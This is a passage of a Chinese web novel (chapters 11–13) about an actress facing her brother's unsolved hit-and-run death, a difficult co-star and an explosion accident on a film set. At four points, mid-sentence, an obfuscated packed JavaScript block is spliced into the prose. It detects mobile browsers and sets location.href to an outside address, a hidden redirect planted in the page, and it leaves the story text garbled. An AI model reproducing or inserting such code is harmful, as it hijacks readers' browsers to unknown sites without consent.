他已经努力柔和了自己的声线,可还是无法避免地看到了李璟意眼中的受伤。她沉重地向后退了两步,目光逐渐黯淡,最后在杨灝想要开口说什么之前,果断地转身,离开了书房。 江知渺和杨灝用餐时将手机调成了静音,待她终于能够悠哉地坐在沙发上休息时,拿起手机才发现,短短的两个小时,她竟然错过了两个人的电话。 她看着来电人的名字,一个是梁栖月,找她肯定是谈工作上的事情,另一个却让她陡然从沙发上坐了起来。 ——于志荣。 以往都是她主动联系这个人,今天却一反常态主动联系她,莫非是…… 她立刻准备回拨过去,微信弹窗先一步出现在屏幕上,她顺手点开,却被消息的内容震惊了,呆愣着久久没有回复。 那是来自“于志荣-望山县派出所”的消息: 「姑娘,今年十二月底我就要退休了,你弟弟的案子之后会由所里其他同事接手,非常抱歉。」 她只觉得脑海中“轰——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599458|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一声炸开了,眼前的世界纷纷裂成碎片,她孤身坐在废墟里,等啊等啊,希望能够等来救援。 可是,时间一分一秒地过去,五年,整整五年了,她还是没有等来伸出的援手。 分明是夏日的午后,可骨缝间却隐隐散发着凉意,让她不由得蜷缩起来。她好像再次回到了五年前那个大寒日,大片雪花像纸钱一样从空中洒落,她被拦在警戒线外,她的弟弟江知赫躺在血泊之中。 那时,民警于志荣给她送来一件军大衣,不属于她的厚重衣物披在肩上,她才发觉自己全身冰冷,正在剧烈地颤抖。 现场勘验、走访调查、监控回放……作为这场车祸的办案民警,于志荣用尽了一切侦查手段,可惜案发地十分偏远,小县城监控稀缺,他们始终没能抓到肇事者。 江知渺也从一开始每天到警察局询问一次案件进展,到一周去一次,后来半个月发一次微信,现在几个月才会问一句。 不是忘却,江知渺从来没有忘却,甚至随着时间的流逝,江知渺已经将自己当成了罪魁祸首。 她只是受够了饱含期望却又落空的巨大落差,甚至渐渐地恐惧起来,每一次询问无果都在逼迫她承认自己的渺小。 即使真凶始终没有落网,她也从来没有放弃过。五年、十年、二十年,哪怕直到她死去的前一秒,她都会追寻那个夺走她至亲性命的人。 但这一刻,她突然不确定了。 停滞的事业、破碎的婚姻、恶俗的绯闻,一座又一座大山向她碾压过来,她还没来得及站起来,就又有新的重锤挥向她。 在他们的小县城里,警察是很稀缺的资源,每位民警都承担着巨大的工作负担,能分给陈年旧案的时间,少之又少。 假如换成一名新的民警,若要继续追查,还需从头去了解案情,阅读案卷,复查五年来海量的调查记录,恐怕与真凶的距离只会越来越远。 她还能找到导致她弟弟死亡的那个人吗? 江知渺突然开始怀疑,这个世界上是否真的存在着那个人,否则为何这么多年翻天覆地的调查,都没能把他抓出来。 她一个人在客厅坐到了夕阳时分,血色落日铺满了洁白的瓷砖,刹那间她有些恍惚,眼前的血究竟是属于她弟弟的,还是柏霆宇的。 直到夕阳完全隐去,夜色席卷天地,她终于按亮手机,认真地向于志荣民警道谢,感谢他这么多年为她弟弟的案件做出的巨大付出。 回完消息,她就将手机扔到一旁,缓缓躺到沙发上,环抱着双膝,在这个动作中感受到了久违的安全感。 事情总是难遂心愿,也许她真的找不到真凶,也挽不回她的婚姻,更洗不清她的绯闻了。 江知渺自暴自弃地甩掉这些念头,扔到远处的手机突兀地响了起来,她第一次听完了整段铃声,却不想去接听。 紧接着又响起了第二次、第三次,同样的节奏来回播放,像一把木锯在心头拉扯,鲜血淋漓。终于,在手机第四次响起后,江知渺再难忍受,她缓慢地从沙发上爬起来,赤脚走过去,捡起手机。 接通后,梁栖月愤怒的声音从听筒中传来,扰乱了静谧的夜色: “江知渺,你知不知道你新接的那部戏,男主演是谁?” 11. 开机 梁栖月放低嗓音,她的声线在这沉寂空旷的夜色中,显得格外寂寥,“是吴祐安。” 江知渺倒吸了一口凉气,难以置信地瞪大了眼睛,原本沉睡的细胞被这个名字唤醒。 吴佑安,仁真娱乐公司当家小生,如今最炽手可热的流量男星。同时,也是梁栖月有过八年感情的前男友。 “我就知道,越过我这个经纪人直接去找你谈,肯定是有什么猫腻。好啊,今天把剧本和通告单发给我,我才知道,合着问题在我这儿呢。怕我耽误了人家与你和合作?怕我影响了他的事业,他的大好前程?我是那么小气的人吗!” 梁栖月又恢复了中气十足的样子,气急败坏地和她絮叨,江知渺想插句话都找不到空隙。 终于,她似乎是骂累了,停了下来,江知渺刚要找准机会安抚她的情绪,梁栖月又抬高了声音,警告她道:“我告诉你,这部戏,你必须给我认真准备,好好拍!播出后让所有人都看看,到底是谁撑起了收视率!” 江知渺被她这幅认真的样子逗笑了,当年吴佑安以专注事业为由与她分手后,梁栖月就一直憋着一口气,想要向他证明自己的工作能力。 虽然不用她提醒,自己也会尽力完成好表演,但是,这个一提到吴佑安就变得幼稚可爱的梁栖月,江知渺已经两年没有见到过了,一时间还有些怀念。 “好啦,我知道了,一定会让你赢过前男友的。”江知渺走到落地窗前,望着远处灯火通明的城市天际线,心底突然开阔了起来。 即使她什么都失去了,她还有演员这个身份,还有她最引以为傲的演技。 其他的人都可以忽视,任何的声音都可以无视,只要能够拍戏,能够站在镜头前自由地演绎喜怒哀乐,一切就都还值得期待。 挂断电话后,江知渺打开电脑,从邮箱里下载工作室发来的剧本。双击打开后,一张清新的草绿色封面映入眼帘,在如波浪一般的青草之上,印着四个优美的艺术字:流年似水。 三个小时后,江知渺意犹未尽地将文件关闭。她将剧本通读了一遍,不禁感叹起修导选本子的能力。 简单来说,这部剧讲的是一对中学时期情窦初开的少男少女,在大学时期因为不同的未来规划而分道扬镳,后来又在职场相遇,最终走到一起的爱情故事。 可剧本对于人物内心的剖析十分深刻,无论是学生时期的隐秘情愫,还是分手时的不甘,抑或是重逢后的酸涩,情感都非常细腻。 当然,这也对演员提出了很高的要求,演员必须通过表演,展现出角色复杂且多层次的内心活动。 江知渺躺在床上,心绪仍然为刚才的剧本而剧烈翻涌。又是一次难度不小的挑战,可她坚信自己能够成功,就像从前无数次那样。 ……才怪! 进组的第一天,江知渺就被泼了一盆冷水,原因很简单:男主角吴佑安的演技,实在是令人不敢恭维。 结束了难熬的第一天剧本围读,江知渺早已身心俱疲,她只想回到房车上闭目休息,忘掉吴佑安毫无起伏的念经般的声音。 可事与愿违,就在她即将踏入房车时,那个她此刻最不愿意听到的声音,还是在身后响起了:“知渺,你现在有空吗,我们聊聊?” 坐在对面的吴佑安搓着手,江知渺将双手抱在胸前,等着他开口。房车里空间不大,吴佑安一米八五的身高显得有些局促,他弓着背,因为纠结而涨红了脸。 由于刚刚体会过他剧本围读时的糟糕表现,江知渺对他没有什么耐心,只是顾及梁栖月的面子,勉强忍受着尴尬的空气。 “我……” “咚、咚、咚。”吴佑安刚要开口,就被敲门声打断了。 江知渺示意冉然去开门,门打开后,一个瘦弱的女人出现在门口。她梳着一个朴素的低马尾,脸上戴着口罩,看不清长相,只能从露出的眼睛看出,她年纪不大。 她穿着剧组统一的保洁员服装,粗糙的制服从她瘦削的肩上垂下来,号码尺寸明显不合适,她的双手被迫缩进过长的衣袖里,扫把从袖口探出来。 见门被打开,她把头向衣领里缩了缩,低着头,怯生生地抬眼看向开门的人,“那个,请问需要打扫卫生吗?” 冉然本想拒绝,江知渺却突然起身,来到她身旁,说道:“谢谢,麻烦您了。”说完,她叫上吴佑安,一起离开了房车,只留下冉然在房车里。 进组第一天,房车里并不脏乱,只是她看那个保洁员也就二十出头,应该是千辛万苦来到大城市打工的,这才动了恻隐之心。 而且,跟吴佑安挤在狭小的房车里,实在令她难以控制怒火。为了防止自己忍不住直接批评他的台词,江知渺决定来到外面。 “我很久都没有见到栖月了,她……最近还好吗?”在枯燥的蝉鸣声中,吴佑安的声音比蚊子还小。 江知渺看着他这幅小心的样子,回想起大三那年,梁栖月拉着吴佑安来到她和柯妙妙面前,说他们两个在一起了。 当时这个消息把她们俩惊得不知该说什么,吴佑安是他们班里入学专业成绩最差的那个,若不是因为他的前一名因文化课分数不够,无法入围,不然他根本不可能进入电影学院。 在各种专业课上,吴佑安也总是那个被老师单独拉出来当做反面典型的人,他完全称得上木讷,表演时像个木偶,没有一丁点灵性。 江知渺怎么也想不通,作为学生会副主席,梁栖月究竟是怎么看上吴佑安这块木头的,而且一谈竟然就谈了八年。 ……“我好得很,死不了,不劳吴大明星费心!” 说曹操曹操到,梁栖月的大嗓门瞬间穿透夏日午后闷热潮湿的空气,随着一阵清脆的高跟鞋声,她走到了江知渺的身边。 “快去休息休息吧,今天晚上还要试妆拍定妆照。”她推着江知渺往房车的方向走,头也不回一下,“别为了不值得的人浪费时间。” 两个人刚到房车门外,门突然从里面打开了,刚刚那个保洁员正提着垃圾袋准备出来,看见她们后,立刻闪躲着眼神。 “你是谁?”梁栖月皱了皱眉,问道。 “我是剧组的保洁,刚才在里面打扫卫生……”她的声音越来越小,几乎要把整个脸都缩进口罩里了。 “是我让她进去的,冉然也在里面。”江知渺对梁栖月轻松地说道。 见梁栖月没再问什么,年轻的保洁员猫着身子,准备擦着房车的边缘离开,刚走两步,却被江知渺叫住了:“等一下。” 她的肩膀为之一震,缓缓转过身来,只见江知渺踏入房车,很快就走出来,递给她一瓶冰水,“老师,辛苦了。天气热,这是我冰箱里准备的冰水。” 保洁员的眼神落在那瓶水上,久久没有反应,无论沙哑的蝉鸣如何催促,只是愣愣地看着。 “您是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599459|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不方便喝冰的……”江知渺见她不说话,慢慢地将手臂放了下来,“抱歉,我换一瓶常温的给您。” 她刚要喊冉然再拿一瓶水出来,手就被人猛地拉住了。江知渺吓了一跳,面前的保洁员睁大了眼睛看着她,双手紧紧地握住那瓶冰水。 “谢谢,谢谢您,我没关系的。”她似乎很紧张,肩膀一直在不由自主地颤抖,江知渺轻轻拍了拍她握住自己的手,发现随着自己的安抚,她颤抖地更厉害了。 “接下来这段时间还要麻烦您了。”江知渺把水瓶塞进她的手里,准备返回房车休息。 “那个……”保洁员犹豫的声音叫住了她,江知渺回过头,只见她弯了弯眉眼,似乎是在微笑,“老师,我叫程薇,如果需要打扫卫生的话,随时找我就好。” 三天剧本围读,江知渺过得宛如上刑。 不仅是耳膜被吴佑安如白开水般平淡的台词摧残,而且,由于男主角完全提供不了情绪,她还要花费更多的心力调动自己的情绪。每天返回剧组统一入住的宾馆后,她都是精疲力尽,只想瘫在床上。 剧本围读结束后,正式来到了开机的日子。开机仪式现场来拍摄的媒体,多到江知渺在圈里这些年也从没见识过。 业界口碑一等一的导演,一夜爆红的流量男主角,绯闻缠身的实力女主角,多重看点吸引了无数的媒体记者。 剧组也对《流年似水》抱有极高的期望,江知渺从现场烟雾缭绕的香火就能看出来。也不知道剧组是准备了多少支香,浓烟笼罩着开机仪式现场所有演职人员,几乎三步之外就难以辨别对方的样子。 刺鼻的浓烈沉香呛得江知渺忍不出咳嗽起来,可面对着这么多相机,她也不敢咳出声,只能强忍着喉咙的不适,跟随队伍前去上香。 走到奉香的案台前,烟雾的浓度到达了顶峰,烟雾颗粒薰得她眼睛火辣辣地疼痛。把香插进香炉后,借着背对记者的时机,江知渺偷偷闭上了双眼,虔诚地弯下腰鞠躬,心底默念着:开机大吉,一切顺利。 或许是烟雾太过浓郁,站起身时,江知渺突然觉得头重脚轻,脚下向前迈了一步,勉强维持住平衡。 忽然,一个熟悉的声音出现在耳畔,低沉温柔的男声低语道:“小心点。” 她似乎感觉到有人从身旁拉了她一把,让她能够借力直起身来。然而,当她向四周张望时,浓雾中却看不到任何身影。 可那个声音,那个熟悉的声音,分明真实地回荡在耳畔,一如几个月前,《凤皇止阿房》的开机仪式上一样。 那时她好不容易摆脱了记者连环炮似的提问,抓紧时间回到休息区喝一口水,柏霆宇不知什么时候悄无声息地来到她身边,让她微微一惊。 “你没事了吧?”他轻松地拧开一瓶矿泉水,仰头喝下大半瓶,看起来也是刚从采访区逃出来的。 “我没事,可能是早上没来得及吃早饭,有些低血糖。”江知渺报以礼貌的微笑,“刚刚上香的时候,谢谢你。” “是啊,确实要感谢我,不然你一头栽到香炉上,那场面,啧啧啧……”他毫不掩饰自己的调侃,甚至带着几分恶劣的坏笑。 可江知渺的确无法反驳,如果不是他刚才扶了自己一下,事情真的会变得他说的那样糟糕。 “那你要怎么报答我呢?”柏霆宇的脸突然靠近,江知渺的鼻尖霎时萦绕起不知是他们两人谁身上残留的檀香。 12. 爆炸 即使远离了开机仪式现场,浓烈的雾气也已逐渐扩散开来,透过一层薄雾,江知渺努力地望向柏霆宇的眼睛。 这是她第一次好好地正视自己接下来三个月的合作对象。 柏霆宇,意大利归国的青年演员,三年前从意大利最好的艺术学校毕业,归国后凭借帅气的外形和独特的人格魅力,瞬间火爆全国。 坦白来说,江知渺对他的印象并不好。在粉丝眼里,他是纯粹天真的青年男演员;而在观众眼里,他是与每部戏合作的女演员都传出绯闻的花花公子。 无论柏霆宇和哪位女演员合作,只要有感情戏,播出后都会吸引来一大批cp粉。江知渺很难被说服,他是凭借演技征服了观众。她更愿意相信,是柏霆宇在炒作。 所以,当导演第一次找到她,希望她能够成为女主角,与柏霆宇合作时,江知渺是拒绝的。 她平生最看不起的,就是那些靠炒作、注水和流量起家,丝毫没有对演员这个职业的敬畏心,从不静心磨练演技的演员。 可《凤皇止阿房》的张导与她是老朋友了,张导知道她的顾虑,向她耐心解释,这部戏里她饰演的是柏霆宇的姐姐,和他并没有感情戏,还将柏霆宇试戏的录像发给了她。 从看完试戏片段的那一刻起,“柏霆宇”这个名字,就变成了如今这披着浓雾的样子,看不清也摸不透。 他的演技是她近几年合作过的青年男演员中数一数二的,仅仅是看他压抑着哭腔、祭奠父母的片段,江知渺就头皮发麻,心也跟着揪起来。 明明有着这么优秀的演技,却偏偏要做个流量明星,常年住在热搜榜上,江知渺不得不承认,自己对他是有些惋惜的。 如今,轮到自己成为他的女主角,江知渺不禁开始疑惑,眼前这个看不透的神秘男人,到底是个怎样的人。 “你这是小题大做。”她瞥向一旁,对他那副调笑的面孔视而不见,摆明了拒绝与他炒作的态度,“我不认为对你有什么亏欠之处。” “真的吗?”柏霆宇一步一步向她靠近,与周围浓郁檀香不同的古龙水的味道,强硬地展示着自己的存在感。 “我会让你心甘情愿报答我的。”他贴近她的耳畔,低笑着,尾音愉快上扬。 正式开拍前三天的剧本围读,江知渺一门心思扑在钻研剧本和人物之中。对她而言,《凤皇止阿房》出现的时间刚刚好。 四个月前,她的上一部戏《聆听温度》顺利杀青,这是她第一次饰演一位母亲。在二十九岁的年纪就扮演单亲母亲的角色,不仅是工作室的小伙伴们不支持,开机前,舆论也对她并不看好。 但读完《聆听温度》的剧本,她还是力排众议,毅然接下了这部戏,原因很简单:她有自信演好一个母亲。 剧中,她的女儿天生失明;祸不单行,孩子几个月大,她们就被孩子的父亲遗弃在了M市的工地上。 为了养活孩子,只有中专学历的她不得不寻找各种谋生的手段。阴差阳错间,她进入M市最大的保险公司,成为了一名保险营销员。 尽管对金融一窍不通,她却擅长包装,不但将自己包装成了岁入百万、经验丰富的高级代理人,而且还伪造了重点本科的学历,摇身一变成了知性白领。 越来越多富人通过她的代理签订大额保单,她的收入随之水涨船高。正当她为这空中楼阁窃喜时,初中的男同桌、M市小有名气的建筑业富商,突然出现在她的生活中。 她以为幸运终于降临在她的头上了,抱着孩子住进了他提供的房子里;然而很快就发现,所谓的爱巢,实际上只是他在家庭之外短暂停留的温柔乡。 经过了无数次心理的挣扎,最终,为了在女儿漆黑的世界中,留下一个好妈妈的形象,她毅然离开M市,带着女儿重新开始。 江知渺接到《凤皇止阿房》的剧本时,《聆听温度》正在上星播放。她用细腻的演技和情感打动了无数观众,加之极具张力的人物设定,甚至许多媒体断言,她会凭借这部剧,一举拿下国家级演员的称号。 然而,烦恼也与之俱来,她接到的剧本,大部分都变成了母亲或是妻子的角色。于是,接下《凤皇止阿房》,在这部改编自真实历史的剧集中,饰演一位亡国公主,成为了最优解。 既没有狗血的爱情故事,不会割裂刚刚树立起来的正面荧幕形象,也可以证明,她还有足够的活力,去演绎一位少女。 第一场戏是便是重头戏,她所饰演的清河公主慕容鸢与弟弟——柏霆宇饰演的慕容冲,在关键战役中里应外合,助他攻打长安。 由于涉及到大量炸药的安置,拍摄时间被安排在晚上十点。江知渺早早地来到现场,抱着剧本温习台词。直到十点整,场务开始清理现场,维持秩序,柏霆宇才从房车上走下来。 按照设定,此时的慕容冲刚刚年满二十,正是风华正茂的年岁。柏霆宇玉冠束发,身着甲胄,大步流星地向她走过来。 令人惊艳的少年将军形象,引来周围工作人员的阵阵惊呼。江知渺从剧本里抬起头,刚好对上他玩味的眼神。她别过头去,视而不见。 今晚拍摄的剧情是,慕容冲带领军队攻打长安,被俘城中的叔父慕容暐本应作为内应,视城外火光起后,点燃城中火药,率领军队在城内呼应。 然而当慕容冲按照约定开始攻城,却迟迟不见慕容暐的动静,军队陷入包围,极其被动。正当危机时刻,慕容鸢潜出王宫,点燃火药,与攻城将士形成呼应,扭转战局。 可是,长安守备精良,缺少了慕容暐的力量,慕容冲渐渐败下阵来。慕容鸢知道自己被抓回去也难逃一死,于是奋力冲出城外,想要护送他离开战场,却亲眼目睹长安守军投下的炸药在慕容冲身边爆炸…… 化妆师在江知渺的衣服和脸上涂抹着火药的黑粉,她在心底默默地记着几处火药放置的位置。爆炸戏成本高,且费时费力,她不希望因为自己的失误浪费剧组的努力。 “《凤皇止阿房》一场一镜一次,开始。” 慕容冲愤怒地揪住近卫的衣领:“为何叔父还没有消息!” 他手起刀落,将两名守卫兵斩于马下,鲜血喷溅在他的斗篷上,宛如一朵朵展开的杜鹃花。 在听到士兵不确定的回答后,他双眸怒瞪,抬起头悲哀地望向高大威严的城楼。 他知道,这样下去自己将会命丧于此,虽然未发一言,可眼神中的悲戚比冰冷月色还要凄凉。 “传我将令,全力攻城!”随着一声撕心裂肺的怒吼,所有将士再次振作起来,吹响了拼死一搏的号角—— “卡!”张导叫停拍摄,从监视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599460|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器后站了起来,拿起对讲机,冲着远处尘土飞扬的拍摄现场喊道:“非常好!” 江知渺从监视器里看到柏霆宇释然一笑,标志性的开朗笑容中,似乎还遗留着角色中的悲伤。 她愣了一下,那个略带勉强的笑容,让她顿时产生熟悉的感觉。她下意识地再次看向监视器画面,试图看清监视器里的人,究竟是谁。 像碧蓝的天空上始终飘荡着一片乌云,像清澈的小溪终究要汇入混浊的河水,像成功抓到了娃娃却不是想要的那个玩偶。 像她死去的弟弟。 乖巧但忧郁的,懂事却纠结的,怨怼而无可奈何的,在十八岁生日的夜晚,生命悄无声息地熄灭。 江知渺有些恍惚,她跟随道具组走上城墙,四处都是残垣断壁,尸横遍野,血流成河,她身穿一身精致高贵的丝质衣裙,守城战士茫然地盯着她,像是将死之人在看向彼岸的人们。 她向城墙下望去,黑压压的军队钉在广袤土地上,将士们浑身沾满了不知是谁的血迹,疲惫的马儿此起彼伏地发出“呼呼”的嘶鸣,在人群正前方,一杆绣着“慕容”二字的大旗支离破碎。 而那旗帜下方,她的弟弟慕容冲手持长枪,倔强地昂着头颅,怒视着城墙上的大旗,旗面上硕大的“苻”字将他的双目染上赤红,像是黑夜中唯一耀眼的火光。 “一场二景一次,开始!” 喊杀声轰然响起,震破天际,连脚下的城墙也为之颤抖。一个一个将士冲上城墙,又一个一个被弓箭击中,飘然坠落,发出声声惨叫。 清河公主撑着城墙,向外看去,长安守军将慕容军队团团围住,如旋涡般愈收愈紧,以令人窒息的速度向内收缩,处在包围圈内的士兵纷纷倒下。 她双眼含泪,那旗帜上是她的姓氏,那些攻城将士是她的子民,可她却束手无策,只能眼睁睁地看着他们命丧战火。 “让开!快让开!” 伴随着隆隆的滚轮声,几座大炮被推上城墙,士兵们将火药炮弹快速装进炮筒,合力将炮头抬高。 “三、二、一,放!” 不……她冲上前去,用尽全身力气,拦住拉动引线的士兵,却被无情地甩开,重重地跌落在地!她狼狈地爬起来,企图抱住炮筒,可还没有靠近,巨大的爆炸声就响彻了天际。 “砰!——” 她被这冲天巨响震得愣了片刻,待到回过神后,拼了命地冲到城墙边。城墙下尽是残躯断首,惨烈无边。刚刚竖立着旗帜的地方,正飘起浓烈的黑烟,浓雾之中,她怎么也找不到那个日日牵挂的身影。 不,你不能死—— 她仓皇冲下城楼,连发钗跑掉了都顾不得,踉踉跄跄地奔向黑烟中。不属于那个场景的对讲机的声音,骤然打断了她的情绪。 “快救人!” 她的泪水还挂在脸颊上,听到这里,缓缓停下脚步,从她的身后急匆匆地跑过无数工作人员,摄影老师也放下了机器,灯光老师将灯光调到最亮。 江知渺这才意识到,那过分浓郁的黑烟实在不正常。按照剧情,她理应能够在城墙上看到柏霆宇,并与他挥手道别的。 “老师,这是发生什么了?”她拉住一个奔跑的摄影助理问道。 “炸药的落点出了问题,恐怕是落到演员身边了!” 13. 虚情 “知渺姐,你没事吧!”冉然跑着向她冲过来,巴掌大的肉脸拧成了包子。 江知渺摆了摆手,在她的搀扶下,缓缓走回房车。路过柏霆宇的房车时,停顿了一下,还是继续向前走去。 柏霆宇靠坐在房车的沙发上,从助理的手里接过冰水,仰头灌下一整瓶。冰冷刺骨的凉水顺着食道滑向胃里,刺激肠胃猛烈收缩,连带着五脏六腑再一次感受到方才那种濒临窒息的感受。 爆炸声在耳畔响起的时候,他还没有意识到出了事故,爆炸的巨响令他的双耳间歇性失去了听觉。当刺鼻的黑烟熊熊燃起,将他们完全包裹起来,视线也被剥夺之后,柏霆宇才察觉出,这次的爆炸充满危险。 他立刻向身后的群演大喊:“大家捂住口鼻!不要慌张!不要大口吸气!” 伴随着他开口说话,大量烟尘与火药颗粒钻进他的鼻腔,黏在喉咙上,让呼吸变得困难起来。由于不确定方位,他只好待在原地,紧紧地憋住一口气,暗暗祈祷救援赶快到来。 好在张导有着极其丰富的拍摄经验,在监控器里看到浓烟滚滚,立刻察觉到不对劲,紧接着联络片场附近的消防队,并安排了工作人员先行前去救援。 那时候,柏霆宇的耳朵还处在暂时性失聪当中,隐约看到浓雾中有人摸索着靠近他们。他用力将身上的钢制盔甲与旗杆碰撞,发出清脆的金属声,吸引救援人员前往他们被困的方向。 消防员抬着担架,将他安稳地放到上面,似乎还和他问了什么,他伸手指了指自己的耳朵,摇摇头,消防员立刻明白了情况。 柏霆宇和其他群演陆陆续续被抬到远处的空地上,看着那滚滚黑烟,他的心底这才感到后怕,好在经过医疗人员的检查,群演们只是吸入了少量烟尘,并没有人受伤。 他用力地敲了敲耳朵,仍然听不见任何声音,颓然地低下头去,克制平复着急促凌乱的呼吸。 一个脏兮兮的裙摆突然出现在他的视线里,柏霆宇顺着裙摆向上望去,来人满脸的黑色烟尘,只能从那双极具东方含蓄留白的眼睛中,辨认出她是江知渺。 柏霆宇看得到她嘴巴一张一合,却丝毫听不到她在说什么,于是悠哉地后仰着,把手撑在地上,好整以暇地挑起眼睛。 本以为她只是客套关心一下,可他盯了她许久,她还在自顾自地说着话,好像还越说越快,唇角因为干燥而泛白。柏霆宇这才开始认真地去观察她,发现她脸上的黑烟比旁边的群演还要重。 ——她不是站在城墙上吗,为什么会沾染这么多烟尘? 柏霆宇被困在寂静的世界里,愣愣地看着江知渺接下来的举动,她不顾地上的灰尘,扑到他的面前,低头瞧着他斑斓狼狈的戏服。抬眼时,她的眼中竟然满含泪水。 他突然好想听到声音,从前他时常巴不得全世界的人都被割掉舌头,让耳边再也没有奉承、没有辱骂、没有趾高气昂、没有颐指气使。 但此刻,被江知渺用力地握住肩膀,焦急地查看他是否受伤,咫尺间那柔软的唇瓣一张一合,柏霆宇好想听听她和自己说了什么。 不知不觉间,他收敛起那副玩味的笑容,甚至久违地感受到一丝愧疚:我怎么能用那种嬉皮笑脸的态度,回应她如此真诚的情绪? 柏霆宇莫名地产生一阵冲动,他想伸出手去,紧紧地把江知渺抱在怀里,将她完全吞噬在自己的身体里,让她听听自己因为爆炸或是别的什么而正在疾速跳动的心脏。 或许是她哭得太过伤心,原本已经为他做完简单检查的医生再次来到他们身旁,江知渺站起身来,紧紧地抓住医生的白大褂,柏霆宇猜她应该是在询问自己的情况,他原本已经准备抬手拥抱她,此时手臂也随着她的起身,缓缓地垂了下来。 得到医生肯定的答复后,江知渺终于长舒了一口气,紧绷许久的身体也逐渐放松。柏霆宇以为她还会再向自己说些什么,比如他最关心的问题:她为什么会走下城墙,为什么要第一时间来看望他,为什么要为一个才认识三天的人而流泪。 然而,江知渺仅仅是平静地跟随医生一同离开,唯有即将步入混乱的人群前,才终于扭过头,轻飘飘地瞟了他一眼。 那些泪水、关切、情难自已的痕迹,瞬间就从她的脸庞上消失了,仿佛从未存在过,从头至尾,柏霆宇只获得了这个不痛不痒的眼神。 他当即感受到一种耻辱,恨不得立刻冲上去,拦住她,质问她:为什么要在我的面前,假惺惺地演一套情深意切? 扮演亲密关系,炒作暧昧氛围,那是他柏霆宇的权力。她凭什么直接冲上来,用高超的演技将他骗得团团转,骗到他几乎要相信了,又突然翻脸不认人? 剧组开机第一场就发生安全事故,不得不停拍三天,进行安全隐患排查。柏霆宇被她的眼泪搅得一夜没能合眼。第二天一早,他终于忍不住跟助理要来江知渺的房间号,气冲冲地敲开了她的房门。 “我有一个建议:VeilMansion。” 国立电视台,顶层会议室里,邵聿冷不丁冒出的一句话,让所有参会人齐刷刷地转头看向他,刘恪辰慢了半拍,发出了一声疑惑的“啊?”。 《钩沉》每一季收官都会走出摄影棚,租用更大的场地,邀请众多历史学者与历史类自媒体博主等共同参加。 本季仍然按照这一惯例进行准备,在筹备会上,综合部负责人赵咏诚主任请大家畅所欲言,分享关于选址的想法。 作为节目的主持人及主策划,邵聿对于拍摄地点有着极其严苛的要求,既不能过分简陋,也不能过分奢华,筹备组同事提出的几个意见都被他否定了。 会议的气氛降到冰点,所有人都摸不透什么样的地方才能令邵聿满意,他突然提出的建议瞬间引爆了凝重的空气。 坐在远端的年轻同事窃窃私语起来,近处的几个与他合作过很久的同事也都不解地面面相觑。谁都知道邵聿的妻子江知渺被卷进了一场杀人案中,而案件发生的地点就在VeilMansion。 尽管VeilMansion具有相对独立的会议层,也承办过不少电视节目,可到底是在同一楼宇里,邵聿的这个建议,难免让他们有些困惑。 刘恪辰第一时间凑到旁边,小声劝道:“聿哥,那个……VeilMansion是高端会所,咱们的经费应该租不起他们的地方。” “我们这一季的经费比上一季提高了30%,原先已经预留了充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599461|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足的余量,用于筹办最后一期节目。”邵聿拿出一份预算文件,给大家传阅。 有人反驳道:“VeilMansion说到底还是一间会所性质的酒店,和我们的节目主题恐怕不相符。” 面对大家的疑惑,邵聿面不改色,解释道:“VeilMansion近期在举办一位美籍华裔私人收藏家的展览,我了解过那些展品,其中有很多珍品和我们节目的内容相契合,我也联系过这位收藏家,他非常愿意自己的藏品接受拍摄。” “可是……” 陆续还有两三个同事表达了不同意见,待他们发言完毕,邵聿刚准备一一回应,就有人推门而入。 大家看向门口,只见李璟意抱着一打文件,款款走进来,“我赞成邵大主持的建议。” 她随手撩了撩发尾,走到会议室尽头,将手中的文件递给赵主任,低声道:“赵主任,抱歉打扰您了,副台长请您到1507开会,讨论新闻部这份策划案。” 目送赵主任离开,李璟意毫不客气地搬过他的空椅子,摆在邵聿旁边,惬意地靠在椅背上,抬手示意道:“你们继续。” “你来做什么?”邵聿不悦地看着她。 “当然是来参加你们的筹备会啊。” “我们综合部的筹备会,和你一个新闻部记者有什么关系?” 